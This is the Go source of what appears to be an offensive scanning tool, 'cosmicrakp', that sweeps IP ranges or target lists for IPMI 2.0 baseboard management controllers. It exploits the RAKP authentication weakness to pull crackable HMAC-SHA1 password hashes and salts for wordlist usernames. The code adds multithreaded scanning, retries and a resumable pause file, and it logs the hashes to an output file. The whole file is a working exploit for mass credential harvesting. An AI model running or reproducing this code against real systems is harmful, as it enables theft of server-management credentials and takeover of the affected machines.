package main import ( "bytes" "cosmicrakp/ipmi" "cosmicrakp/util" "crypto/rand" "encoding/hex" "flag" "fmt" "io/ioutil" "net" "sync" "time" ) var debugMode bool var maxAttempts int var retryDelay time.Duration // Time duration in seconds var operationMode string var ipRange string var targetFile string var usernamesFile string var outputFile string var numThreads int var lastProcessedIPMutex sync.Mutex var lastProcessedIP string func main() { flag.BoolVar(&debugMode, "debug", false, "enable debug mode") flag.IntVar(&maxAttempts, "max-attempts", 3, "maximum number of attempts to open a session") flag.DurationVar(&retryDelay, "retry-delay", 2*time.Second, "time to wait between retries (in seconds)") flag.StringVar(&operationMode, "mode", "range", "mode of operation: 'range' or 'file'") flag.StringVar(&ipRange, "range", "", "IP range for 'range' mode") flag.StringVar(&targetFile, "targets", "", "target file for 'file' mode") flag.StringVar(&usernamesFile, "usernames", "users.txt", "File containing usernames to test") flag.StringVar(&outputFile, "output", "output.txt", "File to store output results") flag.IntVar(&numThreads, "threads", 4, "number of threads for concurrent execution") flag.Parse() var usernames []string var err error var wg sync.WaitGroup // Declare a WaitGroup startProcessing := false ipChannel := make(chan string, numThreads) // Create a channel with buffer size = numThreads lineChannel := make(chan string, numThreads) sem := make(chan struct{}, numThreads) // Semaphore to limit concurrent execution done := make(chan struct{}) // Read usernames if usernamesFile != "" { usernames, err = util.ReadLinesFromFile(usernamesFile) if err != nil { fmt.Printf("Failed to read usernames from file: %v\n", err) return } } switch operationMode { case "range": if ipRange == "" { fmt.Println("IP range must be provided for 'range' mode") return } go util.GenerateIPsFromCIDR(ipRange, ipChannel) // Start IP generator in a goroutine case "file": if targetFile == "" { fmt.Println("Target file must be provided for 'file' mode") return } go func() { err = util.StreamLinesFromFile(targetFile, lineChannel) if err != nil { // Handle error fmt.Println("Error reading from file:", err) } }() default: fmt.Println("Invalid mode. Use 'range' or 'file'") return } // Read the last processed IP from the pause file lastProcessedIP = readLastProcessedIP() if lastProcessedIP == "" { startProcessing = true } // Start the periodic flush to disk go periodicFlushToDisk(done, 5*time.Second) // Main loop to fetch and process targets for { var targetBuffer []string // Fill the buffer up to numThreads for i := 0; i < numThreads; i++ { var target string var ok bool if operationMode == "range" { target, ok = <-ipChannel } else { target, ok = <-lineChannel } if !ok { break } targetBuffer = append(targetBuffer, target) } // Break if no targets are left if len(targetBuffer) == 0 { break } for _, target := range targetBuffer { if !startProcessing { if target == lastProcessedIP { startProcessing = true continue } else { fmt.Println("Skipping completed target:", target) continue } } if debugMode { fmt.Println("Acquiring token for", target) } sem <- struct{}{} if debugMode { fmt.Println("Acquired token for", target) } wg.Add(1) // Increment the WaitGroup counter go func(target string) { defer wg.Done() // Decrement counter when goroutine completes defer func() { <-sem if debugMode { fmt.Println("Released token for", target) } }() processTarget(target, usernames) }(target) } } wg.Wait() // Wait for all goroutines to complete close(done) // Close the done channel to signal writePauseFile to terminate } func processTarget(target string, usernames []string) { defer updateLastProcessedIP(target) for _, username := range usernames { conn, err := ipmi.CreateUDPConnection(target) if err != nil { fmt.Printf("Failed to create UDP connection: %v\n", err) return } defer conn.Close() // Generate a console session ID consoleSessionID := make([]byte, 4) // assuming 4-byte length _, err = rand.Read(consoleSessionID) if err != nil { fmt.Printf("Failed to generate random console session ID: %v", err) } // Create a console random ID consoleRandomID := make([]byte, 16) _, err = rand.Read(consoleRandomID) if err != nil { fmt.Printf("Failed to generate random console random ID: %v", err) } // Call the function reply, err := ipmi.SendIPMISessionOpenRequest(conn, consoleSessionID, maxAttempts, retryDelay, 5*time.Second) if err != nil { fmt.Printf("Failed to send IPMI open session request: %v\n", err) return } if debugMode { fmt.Printf("Successfully sent IPMI open session request, reply: %+v\n", reply) } sess_data := &ipmi.SessionData{ ConsoleSessionID: reply.Data[0:4], BMCSessionID: reply.Data[4:8], } if debugMode { fmt.Printf("Debug bmcSessionID: %x\n", sess_data.BMCSessionID) fmt.Printf("Debug consoleSessionID: %x\n", consoleSessionID) fmt.Printf("Debug consoleRandomID: %x\n", consoleRandomID) } rakp2, err := ipmi.SendIPMIRAKP1Request(conn, sess_data.BMCSessionID, consoleRandomID, username, maxAttempts, retryDelay) if err != nil { if err.Error() == "No hash data" { if debugMode { fmt.Printf("No hash data for %s and username: %s\n", target, username) } continue } else { fmt.Printf("Failed to send IPMI RAKP1 request: %v\n", err) continue } } if debugMode { fmt.Printf("RAKP2: %+v\n", rakp2) fmt.Printf("RAKP2 data length: %d\n", len(rakp2.Data)) } err = ipmi.CheckRAKPErrors(rakp2, username) if err != nil { if debugMode { fmt.Printf("RAKP2 error: %v\n", err) } continue } // Extract bmc_random_id and bmc_guid bmcRandomID := string(rakp2.Data[4:20]) bmcGUID := string(rakp2.Data[20:36]) hmacSHA1 := rakp2.Data[36:56] if debugMode { fmt.Printf("bmcRandomID: %x\n", bmcRandomID) fmt.Printf("bmcGUID: %x\n", bmcGUID) } sha1Salt := hex.EncodeToString(ipmi.CreateRAKPHMACSHA1Salt(consoleSessionID, sess_data.BMCSessionID, consoleRandomID, bmcRandomID, bmcGUID, uint8(0x14), username)) sha1Hash := hex.EncodeToString(hmacSHA1) err = ipmi.CheckBogusHash(sha1Hash) if err != nil { fmt.Printf("Bogus hash detected!\n") continue } fmt.Printf("%s %s:%s:%s\n", target, username, sha1Salt, sha1Hash) util.LogHash(target, username, sha1Salt, sha1Hash, outputFile) } } // Read the last processed IP from the pause file func readLastProcessedIP() string { data, err := ioutil.ReadFile("pause_file.txt") if err != nil { return "" // Or the start of your IP range if you wish } return string(data) } // This function periodically writes the highest IP to the pause file func periodicFlushToDisk(done chan struct{}, interval time.Duration) { ticker := time.NewTicker(interval) defer ticker.Stop() for { select { case <-ticker.C: lastProcessedIPMutex.Lock() // Write lastProcessedIP to the file ioutil.WriteFile("pause_file.txt", []byte(lastProcessedIP), 0644) lastProcessedIPMutex.Unlock() case <-done: // Final flush before exiting ioutil.WriteFile("pause_file.txt", []byte(lastProcessedIP), 0644) return } } } func isIPGreater(newIPStr, lastIPStr string) bool { newIP := net.ParseIP(newIPStr) lastIP := net.ParseIP(lastIPStr) return bytes.Compare(newIP, lastIP) > 0 } func updateLastProcessedIP(newIP string) { lastProcessedIPMutex.Lock() defer lastProcessedIPMutex.Unlock() if isIPGreater(newIP, lastProcessedIP) { lastProcessedIP = newIP } }